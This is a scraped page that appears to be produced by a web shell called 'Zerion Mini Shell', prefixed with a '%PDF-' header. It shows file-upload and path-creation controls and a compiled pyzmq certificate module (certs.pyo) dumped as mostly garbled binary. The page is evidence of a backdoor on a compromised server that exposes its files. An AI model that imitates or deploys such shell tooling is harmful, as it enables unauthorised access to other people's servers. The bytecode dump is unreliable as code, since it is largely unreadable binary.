%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python2.7/site-packages/zmq/auth/
Upload File :
Create Path :
Current File : //usr/lib64/python2.7/site-packages/zmq/auth/certs.pyo

�
+�{Wc@s�dZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
e
d�Ze
d�Zdddd�Zdd�Zd	�Zd
d�Zdd
dgZdS(s10MQ authentication related functions and classes.i����N(tbytestunicodetbtus�#   ****  Generated on {0} by pyzmq  ****
#   ZeroMQ CURVE **Secret** Certificate
#   DO NOT PROVIDE THIS FILE TO OTHER USERS nor change its permissions.

s
#   ****  Generated on {0} by pyzmq  ****
#   ZeroMQ CURVE Public Certificate
#   Exchange securely, or use a secure mechanism to verify the contents
#   of this file after exchange. Store public certificates in your home
#   directory, in the .curve subdirectory.

sutf-8c		Cstt|t�r!|j|�}nt|t�rB|j|�}ntj|ddd��}|j|jtjj���|jt	d��|rx~|j
�D]m\}}t|t�r�|j|�}nt|t�r�|j|�}n|jt	d�j||��q�Wn|jt	d��|jt	d�j|��|rj|jt	d�j|��nWd	QXd	S(
sCreate a certificate filetwtencodingtutf8s	metadata
s    {0} = {1}
scurve
s    public-key = "{0}"
s    secret-key = "{0}"
N(t
isinstanceRtdecodetiotopentwritetformattdatetimetnowRtitems(	tkey_filenametbannert
public_keyt
secret_keytmetadataRtftktv((s4/usr/lib64/python2.7/site-packages/zmq/auth/certs.pyt_write_key_files$&c	Cs�tj�\}}tjj||�}dj|�}dj|�}tjj�}t|t	j|�|�t|t
j|�|d|d|�||fS(siCreate zmq certificates.
    
    Returns the file paths to the public and secret certificate files.
    s{0}.key_secrets{0}.keyRR(tzmqt
curve_keypairtostpathtjoinRR
RRt_cert_public_bannert_cert_secret_banner(	tkey_dirtnameRRRt
base_filenametsecret_key_filetpublic_key_fileR((s4/usr/lib64/python2.7/site-packages/zmq/auth/certs.pytcreate_certificates6scCsd	}d	}tjj|�s6tdj|���nt|d���}x�|D]�}|j�}|jd�rvqOn|jd�r�|j	dd�djd�}n|jd�r�|j	dd�djd�}n|rO|rOPqOqOWWd	QX|d	krt
d
|��n||fS(sLoad public and secret key from a zmq certificate.
    
    Returns (public_key, secret_key)
    
    If the certificate file only contains the public key,
    secret_key will be None.
    
    If there is no public key found in the file, ValueError will be raised.
    sInvalid certificate file: {0}trbt#s
public-keyt=is 	'"s
secret-keyNsNo public key found in %s(tNoneRRtexiststIOErrorRR
tstript
startswithtsplitt
ValueError(tfilenameRRRtline((s4/usr/lib64/python2.7/site-packages/zmq/auth/certs.pytload_certificateNs$

""t.cCs�i}tjj|�s0tdj|���ntjj|d�}tj|�}x3|D]+}t|�\}}|r[t||<q[q[W|S(s5Load public keys from all certificates in a directorys"Invalid certificate directory: {0}s*.key(	RRtisdirR+RRtglobR2tTrue(t	directorytcertstglob_stringt
cert_filest	cert_fileRt_((s4/usr/lib64/python2.7/site-packages/zmq/auth/certs.pytload_certificatesos
R%R2R=(t__doc__R
R5R	RRtzmq.utils.strtypesRRRRRRR)RR%R2R=t__all__(((s4/usr/lib64/python2.7/site-packages/zmq/auth/certs.pyt<module>s"			!

Zerion Mini Shell 1.0